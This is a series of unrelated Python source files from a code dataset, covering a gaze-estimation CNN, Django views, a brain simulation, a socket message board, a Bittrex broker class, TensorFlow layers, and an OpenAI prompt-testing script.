BatchNormalization(name='bn_leye_conv4')(leye)\n\n # right eye\n reye = eye_conv1(input_reye)\n reye = Activation('relu')(reye)\n reye = MaxPooling2D(pool_size=(3, 3), strides=2)(reye)\n reye = BatchNormalization(name='bn_reye_conv1')(reye)\n reye = eye_conv2(reye)\n reye = Activation('relu')(reye)\n reye = MaxPooling2D(pool_size=(3, 3), strides=2)(reye)\n reye = BatchNormalization(name='bn_reye_conv2')(reye)\n reye = eye_conv3(reye)\n reye = Activation('relu')(reye)\n reye = BatchNormalization(name='bn_reye_conv3')(reye)\n reye = eye_conv4(reye)\n reye = Activation('relu')(reye)\n reye = BatchNormalization(name='bn_reye_conv4')(reye)\n\n eyes = concatenate([Dropout(dropout_rate)(leye), Dropout(\n dropout_rate)(reye)]) # by default using axis=-1\n eyes = Flatten()(eyes)\n eyes = eye_dense1(eyes)\n eyes = BatchNormalization(name='bn_eye_dense')(eyes)\n\n # face\n face = face_conv1(input_face)\n face = Activation('relu')(face)\n face = MaxPooling2D(pool_size=(3, 3), strides=2)(face)\n face = BatchNormalization(name='bn_face_conv1')(face)\n face = face_conv2(face)\n face = Activation('relu')(face)\n face = MaxPooling2D(pool_size=(3, 3), strides=2)(face)\n face = BatchNormalization(name='bn_face_conv2')(face)\n face = face_conv3(face)\n face = Activation('relu')(face)\n face = BatchNormalization(name='bn_face_conv3')(face)\n face = face_conv4(face)\n face = Activation('relu')(face)\n face = BatchNormalization(name='bn_face_conv4')(face)\n\n face = Flatten()(face)\n face = Dropout(dropout_rate)(face)\n face = face_dense1(face)\n face = BatchNormalization(name='bn_face_dense1')(face)\n face = face_dense2(face)\n face = BatchNormalization(name='bn_face_dense2')(face)\n\n # face grid\n grid = Flatten()(input_grid)\n grid = Dropout(dropout_rate)(grid)\n grid = grid_dense1(grid)\n grid = BatchNormalization(name='bn_grid_dense1')(grid)\n grid = grid_dense2(grid)\n grid = BatchNormalization(name='bn_grid_dense2')(grid)\n\n # merge\n dense1 = Dense(128, activation=\"relu\", name='dense1')\n dense2 = Dense(2, name='dense2')\n if orientation:\n merge = concatenate([input_orientation, eyes, face, grid])\n else:\n merge = concatenate([eyes, face, grid])\n merge = dense1(merge)\n merge = BatchNormalization(name='merge_dense1')(merge)\n if orientation:\n merge = concatenate([input_orientation, merge])\n merge = dense2(merge)\n merge = Activation('linear', dtype='float32')(merge)\n\n if orientation:\n model = Model(inputs=[input_orientation, input_leye, input_reye, input_face, input_grid],\n outputs=merge)\n else:\n model = Model(inputs=[input_leye, input_reye, input_face, input_grid],\n outputs=merge)\n model.compile(loss=euclidean_loss, optimizer='adam')\n return model\n","repo_name":"imonimwut/imon","sub_path":"gaze_models.py","file_name":"gaze_models.py","file_ext":"py","file_size_in_byte":12209,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"2"} +{"seq_id":"24166330920","text":"from django.shortcuts import render, redirect\nfrom .forms import TicketForm\nfrom .models import Ticket\nfrom .filters import TicketFilter\nfrom django.contrib.auth.decorators import login_required, permission_required\n\nfrom uwigo.settings import LOGIN_URL\n\n\n@login_required(login_url=LOGIN_URL)\ndef index(request):\n tickets_list = Ticket.objects.all().order_by('-id')\n template = 'tickets/index.html'\n tickets_filter = TicketFilter(request.GET, queryset=tickets_list)\n tickets_list = tickets_filter.qs\n\n context = {\n 'tickets_list': tickets_list,\n 'tickets_filter': tickets_filter,\n }\n\n return render(request, template, context)\n\n\n\n@login_required(login_url=LOGIN_URL)\n@permission_required('tickets.add_ticket')\ndef create_ticket(request):\n template = \"tickets/create_ticket.html\"\n \n context = {\n 'form':TicketForm\n }\n\n if request.method == 'POST':\n form = TicketForm(data=request.POST)\n\n if form.is_valid():\n if request.user.is_authenticated:\n ticket = form.save(commit=False)\n ticket.user = request.user\n ticket = form.save()\n\n return redirect('tickets')\n context['form'] = form\n\n return render(request, template, context)","repo_name":"jfarriagada/uwigo","sub_path":"uwigo/tickets/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"11667264837","text":"from django import forms\nfrom .models import Order, OrderItem\n\n# form for Order model\nclass OrderForm(forms.ModelForm):\n \n class Meta:\n model = Order\n fields = ('first_name', 'last_name', 'email', 'address', 'postal_code', 'city', 'discount_applied')\n \n def __init__(self, *args, **kwargs):\n credit = kwargs.pop('credit', None)\n total_price = kwargs.pop('order_total', None)\n # get the smaller value between credit and total_price\n super(OrderForm, self).__init__(*args, **kwargs)\n if credit == None or credit < 1:\n self.fields.pop('discount_applied')\n else:\n max_input = min(credit, total_price)\n self.fields['discount_applied'].widget.attrs['max'] = max_input \n \n\n","repo_name":"menachemFuterfas/Insurance_And_Shipping_Website","sub_path":"payments_app/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"4799409523","text":"import numpy as np\r\nfrom tvb.simulator.lab import *\r\nfrom ataxia.connectivity import load_mousebrain\r\nfrom rww_model_mary import *\r\nfrom ataxia.plots import plot_weights\r\nfrom tvb.datatypes.connectivity import Connectivity\r\n\r\n# Mouse brain\r\nwith np.load(\"masked_brain.npz\") as brain:\r\n weights = brain['weights']\r\n centers = brain['centers']\r\n tract_lengths = brain['tract_lengths']\r\n region_labels = brain['region_labels']\r\n\r\nconnectivity = Connectivity(weights=weights, centres=centers, tract_lengths=tract_lengths, region_labels=region_labels)\r\nnreg = len(connectivity.region_labels)\r\n# plot_weights(connectivity).write_html(\"brain_weights_masked.html\")\r\n\r\nrww = ReducedWongWangExcIOInhI(J_i=np.array(10))\r\nsim = simulator.Simulator(\r\n model=rww,\r\n connectivity=connectivity,\r\n coupling=coupling.Scaling(a=np.array(0.5)), # il G è a qui\r\n monitors=(monitors.TemporalAverage(period=1.0),),\r\n integrator=integrators.HeunStochastic(\r\n noise=noise.Additive(nsig=np.array([0.015 ** 2 / 2])),\r\n dt=0.1\r\n ),\r\n)\r\n\r\nsim.initial_conditions = np.random.uniform(0.0, 0.2, size=(2, 4, nreg, 1))\r\nsim.configure()\r\n\r\n(t, data), = sim.run(simulation_length=1000)\r\n\r\nnp.savez(\"firing_rate_masked.npz\", tavg=data, time=t)\r\n\r\n# simulazione anche per il brain normale\r\n# effetto sulle aree più connesse ai DCN -> se non c'è impatto aumentiamo G su aree cerebellari (ma evitiamo)\r\n# selezione subnetwork e cambio G per ottimizzare su computational model (finchè non abbiamo i dati)\r\n# TESI: TVMB -> Allen normalizzazione e maschera, simulazioni e ottimizzazione parametri per avoid saturation in model (G, J_i), resting state networks\r\n# ottimizzazione tridimensionale G, J_i, rate\r\n# fare log transformation perchè alcuni nodi sono troppo firing e verificare quali sono\r\n# cambiare G con J_i normale e prova dei firing del brain no mask\r\n","repo_name":"elide-b/better_tesi","sub_path":"rww_exc_inh/simulation_ei.py","file_name":"simulation_ei.py","file_ext":"py","file_size_in_byte":1871,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"2054490482","text":"\"\"\"Library classes for the message board client, server, and socket.\"\"\"\n\nimport os\nfrom socket import (\n socket,\n AF_INET,\n SOCK_STREAM,\n SOCK_DGRAM\n)\nimport threading\n\nclass MessageBoardSocket():\n # dynamically create either UDP or TCP socket based on sock_type\n def __init__(self, sock_type):\n self.sock = socket(AF_INET, sock_type)\n\n # bind socket to any open port\n self.sock.bind(('', 0))\n self.port = self.sock.getsockname()[1]\n\n\nclass MessageBoardServer():\n def __init__(self, req_code):\n self.tcp_socket = MessageBoardSocket(SOCK_STREAM)\n self.req_code = req_code\n self.messages = []\n self.messages_lock = threading.Lock()\n\n def send_messages_to_client(self, client_address, udp_socket):\n # lock messages array\n self.messages_lock.acquire()\n for message in self.messages:\n udp_socket.sock.sendto(message.encode(), client_address)\n udp_socket.sock.sendto(\"NO MSG.\".encode(), client_address)\n # release lock\n self.messages_lock.release()\n\n\n def recieve_messages(self, udp_socket, client_port):\n # recieve client's messages\n while True:\n message, client_address = udp_socket.sock.recvfrom(2048)\n\n if message:\n message = message.decode()\n\n # if message is \"GET\" send all server messages to client\n if message == \"GET\":\n self.send_messages_to_client(client_address, udp_socket)\n\n # terminate program\n elif message == \"TERMINATE\":\n os._exit(1)\n\n # format message, then append to list of client messages\n else:\n # lock messages array\n self.messages_lock.acquire()\n self.messages.append(self.format_message(client_port, message))\n # release lock\n self.messages_lock.release()\n\n def format_message(self, client_port, message):\n return \"[{}]: {}\".format(client_port, message)\n\n def listen_to_clients(self):\n authentication_socket, addr = self.tcp_socket.sock.accept()\n client_req_code = authentication_socket.recv(1024).decode()\n client_port = addr[1]\n\n if client_req_code:\n # send to the client either \"0\" if req code is incorrect or the newly created server\n # udp port if the code is correct\n if client_req_code != self.req_code:\n authentication_socket.send(\"0\".encode())\n else:\n udp_socket = MessageBoardSocket(SOCK_DGRAM)\n authentication_socket.send(str(udp_socket.port).encode())\n\n udp_thread = threading.Thread(\n target=self.recieve_messages,\n args=(udp_socket, client_port),\n daemon=True\n )\n udp_thread.start()\n\n # close TCP socket used to authenticate client\n authentication_socket.close()\n\n def run(self):\n print(\"SERVER_PORT={}\".format(\n self.tcp_socket.port\n ))\n self.tcp_socket.sock.listen(1)\n while True:\n self.listen_to_clients()\n\n\nclass MessageBoardClient():\n def __init__(self, req_code, server_name, server_port_tcp):\n self.tcp_socket = MessageBoardSocket(SOCK_STREAM)\n self.udp_socket = MessageBoardSocket(SOCK_DGRAM)\n self.req_code = req_code\n self.server_name = server_name\n self.tcp_socket.sock.connect((server_name, server_port_tcp))\n\n def get_server_port(self):\n # send req_code to get server UDP port\n self.tcp_socket.sock.send(self.req_code.encode())\n return self.tcp_socket.sock.recv(1024).decode()\n\n def get_server_messages(self, udp_port):\n # first send \"GET\" message to have server send back its stored messages\n self.udp_socket.sock.sendto(\"GET\".encode(), (self.server_name, udp_port))\n while True:\n # recieve server stored messages one at a time\n message, server_address = self.udp_socket.sock.recvfrom(2048)\n\n if message:\n print(message.decode())\n\n # indicates no more messages\n if message.decode() == \"NO MSG.\":\n return\n\n def send_message(self, message):\n udp_port = int(self.get_server_port())\n\n # return with exit status 1 if req code is invalid\n if udp_port == 0:\n print(\"Invalid req code.\")\n return 1\n else:\n # get and print messages stored on server\n self.get_server_messages(int(udp_port))\n\n # send client message to server\n self.udp_socket.sock.sendto(message.encode(), (self.server_name, udp_port))\n","repo_name":"RobertYCXu/networking-assignments","sub_path":"socket_programming/message_board.py","file_name":"message_board.py","file_ext":"py","file_size_in_byte":4827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"28964072440","text":"import time\nfrom selenium import webdriver\n\ndriver = webdriver.Chrome()\ndriver.get(\"https://www.acfun.cn/\")\ndriver.maximize_window()\ntime.sleep(2)\na = driver.find_element_by_xpath('//*[@id=\"main\"]/section[3]/div[1]/div[1]/div[1]/figure[1]/a')\na.href = a.get_attribute('href')\nprint(a.href)\ndriver.get(a.href)\n\nvideo = driver.find_element_by_xpath('//*[@id=\"ACFlashPlayer\"]/div/div[1]/video')\n\n#返回播放文件地址\nurl = driver.execute_script(\"return arguments[0].currentSrc;\",video)\nprint(url)\n\n\n'''acfun默认直接播放,所以先等播放一会儿再暂停,再播放,再暂停'''\n#播放15s\ntime.sleep(15)\n#暂停视频\nprint(\"sleep\")\ndriver.execute_script(\"arguments[0].pause()\",video)\n\ntime.sleep(3)\n#播放视频\nprint('start')\ndriver.execute_script(\"arguments[0].play()\",video)\n\ntime.sleep(3)\n#暂停视频\nprint(\"sleep\")\ndriver.execute_script(\"arguments[0].pause()\",video)\n\n'''JavaScript中有个内置对象叫做arguments,arguments包含函数调用的参数数组,[0]表示取对象的第一个值'''\n'''currentSrc返回当前音频/视频的URL,弱国未设置音频视频,则返回空字符串'''\n'''load()、play()、pause()控制视频的加载、播放和暂停'''","repo_name":"zhanzi123/zz","sub_path":"pythonwj/web/mypro/test_dir/h5video.py","file_name":"h5video.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"41214894468","text":"from .broker import Broker, TradeException\nimport logging\nfrom bittrex import bittrex\n \n# python3 xrypto/cli.py -m Bittrex_BCH_BTC get-balance\n\nclass Bittrex(Broker):\n def __init__(self, pair_code, api_key = None, api_secret = None):\n base_currency, market_currency = self.get_tradeable_pairs(pair_code)\n\n super().__init__(base_currency, market_currency, pair_code)\n\n self.client = bittrex.Bittrex(api_key, api_secret)\n\n # self.get_balances()\n \n def get_tradeable_pairs(self, pair_code):\n if pair_code == 'BTC-BCC':\n base_currency = 'BTC'\n market_currency = 'BCH'\n else:\n assert(False)\n return base_currency, market_currency\n\n\n def _buy_limit(self, amount, price):\n \"\"\"Create a buy limit order\"\"\"\n res = self.client.buy_limit(self.pair_code,\n amount,\n price)\n return res['result']['uuid']\n\n def _sell_limit(self, amount, price):\n \"\"\"Create a sell limit order\"\"\"\n res = self.client.sell_limit(self.pair_code,\n amount,\n price)\n return res['result']['uuid']\n\n def _order_status(self, res):\n resp = {}\n resp['order_id'] = res['OrderUuid']\n resp['amount'] = float(res['Quantity'])\n resp['price'] = float(res['Limit'])\n resp['deal_amount'] = float(res['Quantity']) - float(res['QuantityRemaining'])\n resp['avg_price'] = float(res['Price'])\n\n if res['IsOpen']:\n resp['status'] = 'OPEN'\n else:\n resp['status'] = 'CLOSE'\n\n return resp\n\n def _get_order(self, order_id):\n res = self.client.get_order(order_id)\n logging.info('get_order: %s' % res)\n assert str(res['result']['OrderUuid']) == str(order_id)\n return self._order_status(res['result'])\n\n\n def _cancel_order(self, order_id):\n res = self.client.cancel(order_id)\n if res['success'] == True:\n return True\n else:\n return False\n\n def _get_balances(self):\n \"\"\"Get balance\"\"\"\n res = self.client.get_balances()\n logging.debug(\"bittrex get_balances response: %s\" % res)\n\n for entry in res['result']:\n currency = entry['Currency']\n if currency not in (\n 'BTC', 'BCC'):\n continue\n\n if currency == 'BCC':\n self.bch_available = float(entry['Available'])\n self.bch_balance = float(entry['Balance'])\n\n elif currency == 'BTC':\n self.btc_available = float(entry['Available'])\n self.btc_balance = float(entry['Balance']) \n\n return res\n\n def test(self):\n order_id = self.buy_limit(0.11, 0.02)\n print(order_id)\n order_status = self.get_order(order_id)\n print(order_status)\n balance = self.get_balances()\n # print(balance)\n cancel_status = self.cancel_order(order_id)\n print(cancel_status)\n order_status = self.get_order(order_id)\n print(order_status)\n\n order_id = self.sell_limit(0.12, 0.15)\n print(order_id)\n order_status = self.get_order(order_id)\n print(order_status)\n\n balance = self.get_balances()\n # print(balance)\n\n cancel_status = self.cancel_order(order_id)\n print(cancel_status)\n order_status = self.get_order(order_id)\n print(order_status)\n\n ","repo_name":"a04512/crypto-raven","sub_path":"xrypto/brokers/_bittrex.py","file_name":"_bittrex.py","file_ext":"py","file_size_in_byte":3453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"2"} +{"seq_id":"72247222448","text":"# encoding: UTF-8\nimport tensorflow as tf\nfrom tensorflow.python.ops import array_ops\n\n\ndef average_unpooling_1d(inputs, pool_size, data_format='channels_first', name='average_unpooling_1d'):\n with tf.compat.v1.variable_scope(name):\n if data_format == 'channels_first':\n reshaped_inputs = tf.expand_dims(inputs, -1)\n #### convert data to channels last\n reshaped_inputs = tf.transpose(a=reshaped_inputs, perm=[0, 2, 3, 1])\n new_h = reshaped_inputs.shape[1] * pool_size\n output_shape_tensor = array_ops.stack((new_h, reshaped_inputs.shape[2]))\n outputs = tf.image.resize(reshaped_inputs, output_shape_tensor, name=name, method=tf.image.ResizeMethod.BILINEAR)\n outputs = tf.transpose(a=outputs, perm=[0, 3, 1, 2])\n outputs = tf.squeeze(outputs, -1)\n return outputs\n\n else:\n reshaped_inputs = tf.expand_dims(inputs, 2)\n new_h = reshaped_inputs.shape[1] * pool_size\n output_shape_tensor = array_ops.stack((new_h, reshaped_inputs.shape[2]))\n outputs = tf.image.resize(reshaped_inputs, output_shape_tensor, name=name, method=tf.image.ResizeMethod.BILINEAR)\n outputs = tf.squeeze(outputs, 2)\n return outputs\n\n\ndef spectrum_unpooling_1d(inputs, pool_size, N=512, data_format='channels_first', name='spectrum_unpooling_id'):\n with tf.compat.v1.variable_scope(name):\n assert pool_size % 2 == 0\n N = tf.convert_to_tensor(value=N)\n inputs = inputs * pool_size\n if data_format == 'channels_last':\n inputs = tf.transpose(a=inputs, perm=[0, 2, 1])\n ## extend inputs size to length of N/2\n if inputs.shape[2] % 2 == 0:\n left = inputs[:, :, :((N//2-inputs.shape[2])//2)]\n right = inputs[:, :, -(N//2 - inputs.shape[2])//2:]\n else:\n left = inputs[:, :, :((N//2-inputs.shape[2])//2)]\n right = inputs[:, :, -(N//2 - inputs.shape[2])//2-1:]\n left = tf.reverse(left, axis=[-1])\n right = tf.reverse(right, axis=[-1])\n extended_input = tf.concat([left, inputs, right], axis=-1) ### lenght is N//2\n input_fft = tf.signal.fft(tf.complex(extended_input, extended_input*0.0))\n # input_fft = inputs\n outputs_fft = tf.concat([input_fft[:, :, :N//4],\n tf.zeros(shape=[inputs.shape[0], inputs.shape[1], N//2], dtype=tf.complex64),\n input_fft[:, :, -N//4:]],\n axis=-1)\n # outputs_fft = input_fft\n outputs = tf.math.real(tf.signal.ifft(outputs_fft)[:, :, (N - inputs.shape[2] * pool_size)//2:\n (N + inputs.shape[2] * pool_size)//2])\n outputs.set_shape((inputs.shape[0], inputs.shape[1], inputs.shape[2] * pool_size))\n return outputs\n\n\ndef spectrum_unpooling_1d_1(inputs, pool_size, data_format='channels_first', name='spectrum_unpooling_id'):\n with tf.compat.v1.variable_scope(name):\n assert pool_size % 2 == 0\n inputs = inputs * pool_size\n if data_format == 'channels_last':\n inputs = tf.transpose(a=inputs, perm=[0, 2, 1])\n input_shape = inputs.get_shape().as_list()\n input_fft = tf.signal.fft(tf.complex(inputs, inputs*0.0))\n\n outputs_fft = tf.concat([input_fft[:, :, :input_shape[2]//2],\n tf.zeros(shape=input_shape, dtype=tf.complex64),\n input_fft[:, :, -input_shape[2]//2:]],\n axis=-1)\n\n outputs = tf.math.real(tf.signal.ifft(outputs_fft))\n\n return outputs","repo_name":"dhhjx880713/DeepMotionModeling","sub_path":"nn/unpooling.py","file_name":"unpooling.py","file_ext":"py","file_size_in_byte":3699,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"70092009968","text":"r\"\"\"\n游戏设置模块\n 存储所有设置类\n\"\"\"\nclass Settings():\n \"\"\"存储《外星人入侵》的所有设置的类\"\"\"\n\n def __init__(self):\n \"\"\"初始游戏的设置的属性\"\"\"\n # 屏幕设置\n self.screen_width = 920\n self.screen_height = 580\n # 背景色,三基色值\n self.bg_color = (230, 230, 230)\n \n # 飞船的相关属性\n self.ship_speed_factor = 2.5\n self.ship_limit = 3\n\n # 子弹设置\n self.bullet_speed_factor = 3\n self.bullet_width = 3\n self.bullet_height = 10\n self.bullet_color = (60, 60, 60)\n self.bullets_allowed = 3\n\n # 外星人设置\n self.alien_speed_factor = 1\n # 下移速度\n self.fleet_drop_speed = 10\n # 1 表示右移,-1表示左移\n self.fleet_direction = 1\n\n","repo_name":"Coohx/python_work","sub_path":"alien_invasion/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"2"} +{"seq_id":"27227556297","text":"import numpy as np\nfrom eycDataset import EycDataset\nimport torch\nfrom torch.utils.data import DataLoader,Dataset\nfrom torch import optim\nfrom tripletLoss import TripletLoss\nfrom siamese import SiameseNetwork\nfrom torch.autograd import Variable\nimport torch.nn.functional as F\n\n\ndef test(train):\n dataset = EycDataset(train=train, comparison=\"pre-post\")\n print(\"Loading model\")\n net = torch.load('models/model_triplet_pr_po_max_pool_fix.pt').eval()\n\n dataloader = DataLoader(dataset,\n shuffle=False,\n num_workers=8,\n batch_size=1)\n\n data_iter = iter(dataloader)\n\n count_same = 0\n count_diff = 0\n\n for i in range(250):\n \n anchor, positive, negative = next(data_iter)\n\n anchor, positive, negative = Variable(anchor).cuda(), Variable(positive).cuda() , Variable(negative).cuda()\n (anchor_output, positive_output, negative_output) = net(anchor, positive, negative)\n \n same_distance = F.pairwise_distance(anchor_output, positive_output)\n diff_distance = F.pairwise_distance(anchor_output, negative_output)\n\n same_distance = same_distance.data.cpu().numpy()[0][0]\n diff_distance = diff_distance.data.cpu().numpy()[0][0]\n \n print(same_distance, diff_distance)\n if same_distance > 0.8:\n count_same+=1\n if diff_distance < 0.8:\n count_diff+=1\n \n print(count_same, \" - \", count_diff)\n\nif __name__ == '__main__':\n test(True)","repo_name":"kaushal-py/Face-verification-siamese-network","sub_path":"main/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"25171070221","text":"import sys\nsys.stdin = open('input.txt')\n\nT = int(input())\nfor tc in range(1,T+1):\n N, K = map(int,input().split()) # N = 수강생의 수 M = 제출한 사람의 수\n data = list(map(int,input().split())) # 과제를 제출한 사람의 번호\n numbers = [i for i in range(1,N+1)]\n result = []\n for i in numbers:\n result.append(i)\n if i in data:\n result.pop()\n print(f'#{tc}',*result)\n","repo_name":"ShinJongHyuk/hws","sub_path":"solo_swea/5431_민석이의과제체크하기/sol.py","file_name":"sol.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"42842320346","text":"__author__ = 'ZXC'\n# -*- coding: utf8 -*-\n\nimport pymongo\nimport random\nimport time\nimport logging\nfrom pymongo import MongoClient\nimport sha\n\nmongo_host = \"192.168.1.15\"\n# mongo_host = \"127.0.0.1\"\nmongo_port = 27017\nclient = MongoClient(mongo_host,mongo_port)\ndb = client[\"wcloud_o\"]\nusers = db['user']\n\ndef create(uid,pw,status,username,email,title,oudn):\n try:\n if users.find_one({'uid':uid,'verified':0}, {'uid':1}):\n u = users.update({'uid':uid}, {'$set':{'pw':pw}})\n return True\n else:\n key = get_key(18)\n create_time=int(time.time()*1000)\n if users.insert({'key':key,'uid':uid,'pw':pw,'status':status,'username':username,'email':email,\n 'title':title,'oudn':oudn,'create_time':create_time,'devs':[],'verified':0,'pw_exp':1}):\n return True\n except pymongo.errors.DuplicateKeyError:\n raise\n except:\n logging.error('create user failed. uid:%s', uid)\n raise\n\n# +++20160217 加入生成随机数主键的函数\ndef get_key(len):\n \"\"\"\n :param len:键的长度\n :return:生成的键\n \"\"\"\n key = 0\n if len>0:\n start = int(\"1\"+(len-1)*\"0\")\n end = int(len*\"9\")\n key = random.randint(start,end)\n # 只要存在key就重复生成,保证key的唯一性\n while is_has_key(key):\n key = random.randint(start,end)\n return str(key)\n\ndef is_has_key(key):\n \"\"\"\n 查找是否存在此键值\n :param key: 需要查找的键值\n :return:查找结果,存在True,不存在False\n \"\"\"\n exist = False\n try:\n result = users.find_one({\"key\":key})\n if result:\n exist = True\n except Exception as e:\n logging.error('is_has_key failed. key:%s', key)\n logging.error(e.message)\n return exist\n\nif __name__ == '__main__':\n create(\"85200000019\", sha.new('12345678').hexdigest(), 0, \"47632\",\n \" \", u\"工程师\", u\"ou=香港测试群,ou=中科院信工所,dc=test,dc=com\")\n create(\"85200000011\", sha.new('12345678').hexdigest(), 0, \"37559\",\n \" \", u\"工程师\", u\"ou=香港测试群,ou=中科院信工所,dc=test,dc=com\")","repo_name":"arronrose/wcloud","sub_path":"wcloud_ws/scripts/add_user.py","file_name":"add_user.py","file_ext":"py","file_size_in_byte":2219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"32798621711","text":"'''Annotator tagging version'''\n\nimport openai\nimport os\nimport json\nfrom dotenv import load_dotenv # pip install python-dotenv\nfrom string import Formatter\nimport numpy as np\nfrom tqdm import tqdm\nimport traceback\nimport time\nimport itertools\nfrom sklearn.metrics import classification_report\nimport scipy\n\n# import from disagreement_shift\nimport sys\nsys.path.append(\"../../disagreement_shift/label_distribution\")\n\n# Load the secret file\nload_dotenv(\"../../secrets/openai.env\")\nOPENAI_API_KEY = os.getenv(\"OPENAI_API_KEY\")\nassert OPENAI_API_KEY, \"You did not put the OPENAI_API_KEY in the secret.env file. The secret.env file should look like 'OPENAI_API_KEY=sk-...'\"\nOPENAI_ORGANIZATION = os.getenv(\"OPENAI_ORGANIZATION\")\nassert OPENAI_ORGANIZATION, \"You did not put the OPENAI_ORGANIZATION in the secret.env file. The secret.env file should look like 'OPENAI_ORGANIZATION=org-...'\"\nopenai.api_key = OPENAI_API_KEY\nopenai.organization = OPENAI_ORGANIZATION\n\nGPT4_ID = \"gpt-4\" # chat only\nCHAT_GPT_ID = \"gpt-3.5-turbo\"\nGPT3_ID = \"text-davinci-003\"\n\nPROMPT_PRICE_PER_TOKEN_KEY = \"prompt_price_per_token\"\nCOMPLETION_PRICE_PER_TOKEN_KEY = \"completion_price_per_token\"\nGENERAL_PRICE_PER_TOKEN_KEY = \"price_per_token\"\n\npricing = {GPT4_ID: {PROMPT_PRICE_PER_TOKEN_KEY: 0.03 / 1000, COMPLETION_PRICE_PER_TOKEN_KEY: 0.06 / 1000}, GPT3_ID: {GENERAL_PRICE_PER_TOKEN_KEY: 0.02 / 1000}, CHAT_GPT_ID: {PROMPT_PRICE_PER_TOKEN_KEY: 0.002 / 1000, COMPLETION_PRICE_PER_TOKEN_KEY: 0.002 / 1000}}\n\n# How many requests per minute can we make to each model?\n# https://platform.openai.com/docs/guides/rate-limits/overview\n# ran into issues with ChatGPT and the token rate limit, so making it smaller\nrate_limits = {GPT3_ID: 20, GPT4_ID: 200, CHAT_GPT_ID: 75}\n\ndef kl_divergence(p: np.ndarray, q: np.ndarray, epsilon=1e-10):\n '''Takes two 1D or 2D arrays and returns the KL divergence between them'''\n if len(p.shape) == 1:\n axis = None\n elif len(p.shape) == 2:\n axis = 1\n else:\n raise ValueError(f\"Invalid shape {p.shape}. Must have 1 or 2 dimensions, had {len(p.shape)} dimensions instead\")\n ans = np.sum(p * np.log((p + epsilon) / (q + epsilon)), axis=axis)\n return ans\n\ndef file_to_string(filename: str) -> str:\n with open(filename, \"r\", encoding='utf-8') as f:\n return f.read()\n \ndef get_format_names(s):\n # from https://stackoverflow.com/questions/22830226/how-to-get-the-variable-names-from-the-string-for-the-format-method\n names = [fn for _, fn, _, _ in Formatter().parse(s) if fn is not None]\n\n return names\n\ndef make_path(filename):\n dirname = os.path.dirname(filename)\n if dirname:\n os.makedirs(os.path.dirname(filename), exist_ok=True)\n\n return filename\n\nclass InvalidResponseException(RuntimeError):\n pass\n\n# Set these values\nMODEL = CHAT_GPT_ID\nDATASETS = [\"ghc\", \"politeness\", \"Fixed2xSBIC\", \"SChem\", \"Sentiment\", \"SChem5Labels\"]\n# DATASETS = ['SChem']\nMAX_TOKENS = 2\nSEED = 29\nN_ORIG_EXAMPLES = [10]\nN_IMPUTED_EXAMPLES = [10]\nN_TARGET_EXAMPLES = [20]\nTEMPERATURE = 0\nENCODING = \"utf-8\"\n\nassert len(N_IMPUTED_EXAMPLES) == len(N_ORIG_EXAMPLES), f\"Must have the same number of imputed and original example sets, but got {len(N_IMPUTED_EXAMPLES)} imputed example sets and {len(N_ORIG_EXAMPLES)} original example sets\"\nassert len(N_TARGET_EXAMPLES) == len(N_ORIG_EXAMPLES), f\"Must have the same number of target example sets and original example sets, but got {len(N_TARGET_EXAMPLES)} target example sets and {len(N_ORIG_EXAMPLES)} original example sets\"\n\n# set the seed\nnp.random.seed(SEED)\n\n# PROMPT_NAMES = [\"combined1\", \"just_orig1\", \"just_imputed1\", \"combined3\", \"just_imputed3\", \"just_orig3\"]\nPROMPT_NAMES = [\"aggregate_combined1\"]\n\n# make sure that all prompts exist so it doesn't crash later\nfor prompt_name in PROMPT_NAMES:\n assert os.path.exists(f\"./prompts/{prompt_name}.txt\"), f\"Prompt {prompt_name} does not exist (could not be found at {os.path.abspath(f'./prompts/{prompt_name}.txt')})\"\n\nimputed_examples_headers = [\n \"\",\n # \"More Examples:\\n\",\n # \"Estimated Examples:\\n\",\n # \"Imputed Examples:\\n\",\n \"Estimated Majority-voted Examples:\\n\",\n \"Imputed Majority-voted Examples:\\n\",\n # \"Estimated Aggregated Examples:\\n\",\n # \"Imputed Aggregated Examples:\\n\",\n]\n\norig_examples_headers = [\n \"\",\n # \"Examples:\\n\",\n \"Human-Labeled Majority-voted Examples:\\n\",\n]\n\ntarget_examples_headers = [\n \"Target Example:\"\n]\n\ninstructions = [\n \"Predict the integer label of the following example:\\n\",\n \"Now you will make your prediction (if you are unsure, just give your best estimate.) Your output should be an integer label:\\n\"\n]\n\nfinal_words = [\n \"\",\n # \"Your output should be a single integer corresponding to the label.\\n\",\n \"Your output should be a single integer and nothing else.\\n\",\n # \"The only valid output is a single integer.\\n\",\n # \"If you output anything other than a single integer, your output will be considered invalid.\\n\",\n # \"If you output anything other than a single integer, your output will harm the integrity of our dataset.\\n\",\n # \"If you output anything other than a single integer (and absolutely nothing else, including explanatory text), your output will invalidate the dataset.\\n\",\n \"If you output anything other than a single integer (and absolutely nothing else, including explanatory text), your output will invalidate the dataset. So, please only output a single integer.\\n\",\n]\n\nheader_order = [\"orig_examples_header\", \"imputed_examples_header\", \"target_example_header\", \"instructions\", \"final_words\"]\nall_headers = [orig_examples_headers, imputed_examples_headers, target_examples_headers, instructions, final_words]\nassert 